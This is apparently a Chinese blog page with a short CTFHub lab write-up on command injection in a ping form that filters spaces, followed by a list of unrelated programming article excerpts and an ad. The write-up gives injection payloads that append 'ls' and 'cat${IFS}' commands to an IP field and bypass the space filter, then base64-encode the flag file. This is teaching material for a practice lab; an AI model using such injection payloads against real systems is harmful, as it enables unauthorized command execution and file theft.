当前位置： 首页 > article >正文

CTFHub-RCE 命令注入-过滤空格

article 2025/6/2 17:35:04

  • 观察源代码

    • 代码里面可以发现过滤了空格

  • 判断是Windows还是Linux

    • 源代码中有 
      ping -c 4
      说明是Linux

  • 查看有哪些文件

    • 127.0.0.1|ls

  • 打开flag文件

    • 我们尝试将空格转义打开这个文件  利用  ${IFS} 
      127.0.0.1|cat${IFS}flag_195671031713417.php
    • 可是发现 文本内容显示不出来，所以怀疑可能编码格式问题，有些内容无法显示(同上一节)
    • 我们尝试用base64编码 
      127.0.0.1|cat${IFS}flag_195671031713417.php|base64
    • 再将内容base64 解码一下
    • 成功获取flag

相关文章：

CTFHub-RCE 命令注入-过滤空格

观察源代码 代码里面可以发现过滤了空格 判断是Windows还是Linux 源代码中有 ping -c 4 说明是Linux 查看有哪些文件 127.0.0.1|ls 打开flag文件 我们尝试将空格转义打开这个文件 利用 ${IFS} 127.0.0.1|cat${IFS}flag_195671031713417.php 可是发现 文本内容显示不出来&…...

编程日记 2025/6/2 17:35:04

卫生间改造翻新怎么选产品？我在瑞尔特找到了解决方案

在一场打掉重来的卫生间翻新改造中，最令人头疼的，从来都不是瓷砖、吊顶这类“看得见”的工序，而是那些每天都在用、但选错一次就要懊悔好多年的卫浴产品。从功能到体验，从老人适配到美学搭配，这事真不是买个贵的就够了…...

编程日记 2025/6/2 9:11:23

C++ list数据删除、list数据访问、list反转链表、list数据排序

list数据删除&#xff0c;代码见下 #include<iostream> #include<list>using namespace std;void printList(const list<int>& l) {for (list<int>::const_iterator it l.begin(); it ! l.end(); it) {cout << *it << " "…...

编程日记 2025/6/2 11:25:18

Express教程【002】：Express监听GET和POST请求

文章目录 2、监听post和get请求2.1 监听GET请求2.2 监听POST请求 2、监听post和get请求 创建02-app.js文件。 2.1 监听GET请求 1️⃣通过app.get()方法&#xff0c;可以监听客户端的GET请求&#xff0c;具体的语法格式如下&#xff1a; // 1、导入express const express req…...

编程日记 2025/6/2 8:24:19

mysql安装教程--笔记

一、Windows 系统安装 方法1&#xff1a;使用 MySQL Installer&#xff08;推荐&#xff09; 1. 下载安装包 访问 MySQL 官网下载页面&#xff0c;选择 MySQL Installer for Windows。 2. 运行安装程序 双击下载的 .msi 文件&#xff0c;选择安装类型&#xff1a; ◦ Developer…...

编程日记 2025/6/2 9:58:29

C++ 观察者模式：设计与实现详解

一、引言 在现代软件开发中，组件间的交互与通信是系统设计的核心挑战之一。观察者模式（Observer Pattern）作为一种行为设计模式，提供了一种优雅的解决方案，用于实现对象间的一对多依赖关系。本文将深入探讨 C++ 中观察者模式的设计理念、实现方式及其应用场景。 二、观察…...

编程日记 2025/6/2 20:56:30

【PostgreSQL 03】PostGIS空间数据深度实战：从地图服务到智慧城市

PostGIS空间数据深度实战&#xff1a;从地图服务到智慧城市 关键词 PostGIS, 空间数据库, 地理信息系统, GIS, 空间查询, 地理分析, 位置服务, 智慧城市, 空间索引, 坐标系统 摘要 PostGIS是PostgreSQL的空间数据扩展&#xff0c;它将普通的关系数据库转变为强大的地理信息系统…...

编程日记 2025/6/2 20:12:38

HIT-csapp大作业：程序人生-HELLO‘s P2P

计算机系统 大作业 题 目 程序人生-Hello’s P2P 专 业 计算学部 学　 号 2023111813 班 级 23L0518 学 生 鲁永哲 指 导 教 师 史先俊 计…...

编程日记 2025/6/2 21:20:31

深入探讨redis：主从复制

前言 如果某个服务器程序&#xff0c;只部署在一个物理服务器上就可能会面临一下问题(单点问题) 可用性问题&#xff0c;如果这个机器挂了&#xff0c;那么对应的客户端服务也相继断开性能/支持的并发量有限 所以为了解决这些问题&#xff0c;就要引入分布式系统&#xff0c…...

编程日记 2025/6/2 21:07:50

帕金森常见情况解读

一、身体出现的异常节奏​ 帕金森会让身体原本协调的 “舞步” 出现错乱。它是一种影响身体行动能力的状况&#xff0c;随着时间推进&#xff0c;就像老旧的时钟&#xff0c;齿轮转动不再顺畅&#xff0c;使得身体各个部位的配合逐渐失衡&#xff0c;打乱日常行动的节奏。​ …...

编程日记 2025/6/2 8:52:38

清华大学发Nature！光学工程+神经网络创新结合

2025深度学习发论文&模型涨点之——光学工程神经网络 清华大学的一项开创性研究成果在《Nature》上发表&#xff0c;为光学神经网络的发展注入了强劲动力。该研究团队巧妙地提出了一种全前向模式&#xff08;Fully Forward Mode&#xff0c;FFM&#xff09;的训练方法&…...

编程日记 2025/6/2 21:14:38

【android bluetooth 案例分析 04】【Carplay 详解 3】【Carplay 连接之车机主动连手机】

1. 背景 在前面的文章中&#xff0c;我们已经介绍了 carplay 在车机中的角色划分&#xff0c; 并实际分析了 手机主动连接车机的案例。 感兴趣可以 查看如下文章介绍。 【android bluetooth 案例分析 04】【Carplay 详解 1】【CarPlay 在车机侧的蓝牙通信原理与角色划分详解】…...

编程日记 2025/6/2 21:17:39

C++学习-入门到精通【11】输入/输出流的深入剖析

C学习-入门到精通【11】输入/输出流的深入剖析 目录 C学习-入门到精通【11】输入/输出流的深入剖析一、流1.传统流和标准流2.iostream库的头文件3.输入/输出流的类的对象 二、输出流1.char* 变量的输出2.使用成员函数put进行字符输出 三、输入流1.get和getline成员函数2.istrea…...

编程日记 2025/6/2 8:16:47

NW969NW978美光闪存颗粒NW980NW984

NW969NW978美光闪存颗粒NW980NW984 技术解析&#xff1a;NW969、NW978、NW980与NW984的架构创新 美光&#xff08;Micron&#xff09;的闪存颗粒系列&#xff0c;尤其是NW969、NW978、NW980和NW984&#xff0c;代表了存储技术的前沿突破。这些产品均采用第九代3D TLC&#xf…...

编程日记 2025/6/2 6:11:19

使用 ssld 提取CMS 签名并重签名

拿SpringBoard的cms签名和entitlements.xml&#xff0c;对tihook.dylib进行重签名 工具来源&#xff1a;https://github.com/eksenior/ssld...

编程日记 2025/6/2 9:56:42

前端基础之《Vue（17）—路由集成》

一、页面应用程序分类 1、单页面应用程序&#xff08;SPA&#xff09; 通过路由系统把组件串联起来的并且只有一个根index.html页面的程序&#xff0c;叫做单页面应用程序。 2、多页面应用程序&#xff08;MPA&#xff09; 整个应用程序中&#xff0c;有多个.html页面。每次用…...

编程日记 2025/6/2 21:54:25

大厂前端研发岗位PWA面试题及解析

文章目录 一、基础概念二、Service Worker 深度三、缓存策略实战四、高级能力五、性能与优化六、调试与部署七、安全与更新八、跨平台兼容九、架构设计十、综合场景十一、前沿扩展一、基础概念 什么是PWA？列举3个核心特性 解析：渐进式网页应用。核心特性：离线可用、类原生体…...

编程日记 2025/6/2 20:53:33

第十四章 MQTT订阅

系列文章目录 系列文章目录 第一章 总体概述 第二章 在实体机上安装ubuntu 第三章 Windows远程连接ubuntu 第四章 使用Docker安装和运行EMQX 第五章 Docker卸载EMQX 第六章 EMQX客户端MQTTX Desktop的安装与使用 第七章 EMQX客户端MQTTX CLI的安装与使用 第八章 Wireshark工具…...

编程日记 2025/6/2 21:35:06

element ui 表格 勾选复选框后点击分页不保存之前的数据问题

element ui 表格 勾选复选框后点击分页不保存之前的数据问题 给 el-table上加 :row-key"getRowKey"给type“selection” 上加 :reserve-selection"true"...

编程日记 2025/6/2 20:01:12

DataAgent产品经理（数据智能方向）

DataAgent产品经理&#xff08;数据智能方向&#xff09; 一、核心岗位职责 AI智能体解决方案设计 面向工业/政务场景构建「数据-模型-交互」闭环&#xff0c;需整合多源异构数据&#xff08;如传感器数据、业务系统日志&#xff09;与AI能力&#xff08;如大模型微调、知识图…...

编程日记 2025/6/2 19:55:05

腾讯云推出云开发AI Toolkit，国内首个面向智能编程的后端服务

5月28日&#xff0c;腾讯云开发 CloudBase 宣布推出 AI Toolkit&#xff08;CloudBase AI Toolkit&#xff09;&#xff0c;这是国内首个面向智能编程的后端服务&#xff0c;适配 Cursor 等主流 AI 编程工具。 云开发 AI Toolkit旨在解决 AI 辅助编程的“最后一公里”问题&…...

编程日记 2025/6/2 21:10:39

华为计试——刷题

判断两个IP是否属于同一子网 题目&#xff1a;给定一个子网掩码和两个 IP 地址&#xff0c;判断这两个 IP 地址是否在同一个子网中。 思路&#xff1a;首先&#xff0c;判断这个 IP 地址和子网掩码格式是否正确&#xff0c;不正确输出 ‘1’&#xff0c;进而结束&#xff1b;…...

编程日记 2025/6/2 19:53:02

【AI-安装指南】Redis Stack 的安装与使用

目录 一、Redis Stack 的介绍 二、安装方式 2.1 安装 2.2 添加依赖 2.3 设置配置信息 2.4 Redis 添加向量数据 2.5 查询向量数据 一、Redis Stack 的介绍 传统的 Redis 服务是不能存储向量的，因此我们需要首先安装 Redis Stack，而 Windows 电脑安 装 Redis Stack，官方…...

编程日记 2025/6/2 20:09:21

LeetCode Hot100(矩阵）

73. 矩阵置零 这边提供nm的做法以及更少的思路&#xff0c;对于nm的做法&#xff0c;我们只需要开辟标记当前行是否存在0以及当前列是否存在0即可&#xff0c;做法如下 class Solution {public void setZeroes(int[][] matrix) {int arr[]new int[matrix.length];int brr[]ne…...

编程日记 2025/6/2 19:56:11

spark在执行中如何选择shuffle策略

目录 1. SortShuffleManager与HashShuffleManager的选择2. Shuffle策略的自动选择机制3. 关键配置参数4. 版本差异（3.0+新特性）5. 异常处理与调优6. 高级Shuffle服务（CSS）1. SortShuffleManager与HashShuffleManager的选择 SortShuffleManager：默认使用，适用于大规模数据…...

编程日记 2025/6/2 21:13:21

前端-不对用户显示

这是steam的商店偏好设置界面&#xff0c;在没有被锁在国区的steam账号会有5个选项&#xff0c;而被锁在国区的账号只有3个选项&#xff0c;这里使用的技术手段仅仅在前端隐藏了这个其他两个按钮。 单击F12打开开发者模式 单击1处&#xff0c;找到这一行代码&#xff0c;可以看…...

编程日记 2025/6/2 20:07:39

WPF【10_2】数据库与WPF实战-示例

客户预约关联示例图 MainWindow.xaml 代码 <Window x:Class"WPF_CMS.MainWindow" xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d"ht…...

编程日记 2025/6/2 19:56:11

Hive的数据倾斜是什么？

一、Hive数据倾斜的定义 数据倾斜指在Hive分布式计算过程中&#xff0c;某一个或几个Task&#xff08;如Map/Reduce任务&#xff09;处理的数据量远大于其他Task&#xff0c;导致这些Task成为整个作业的性能瓶颈&#xff0c;甚至因内存不足而失败。数据倾斜通常发生在Shuffle阶…...

编程日记 2025/6/2 9:01:46

Cursor奇技淫巧篇（经常更新ing）

Dot files protection &#xff1a;Cursor当开启了Agent模式之后可以自动帮我们写文件&#xff0c;但是一般项目中的一些配置文件&#xff08;通常以.开头的&#xff09;都是非常重要性&#xff0c;为了防止Cursor在运行的过程中自己修改这些文件&#xff0c;导致风险&#xff…...

编程日记 2025/6/2 6:18:11

Unity3D仿星露谷物语开发58之保存时钟信息到文件

1、目标 保存当前的时钟信息到文件中。 2、修改TimeManager对象 TimeManager对象添加组件&#xff1a;Generate GUID 3、修改SceneSave.cs脚本 添加1行代码&#xff1a; 4、修改TimeManager.cs脚本 添加&#xff1a; using System; 修改TimeManager类&#xff1a; 添加属…...

编程日记 2025/6/2 10:21:19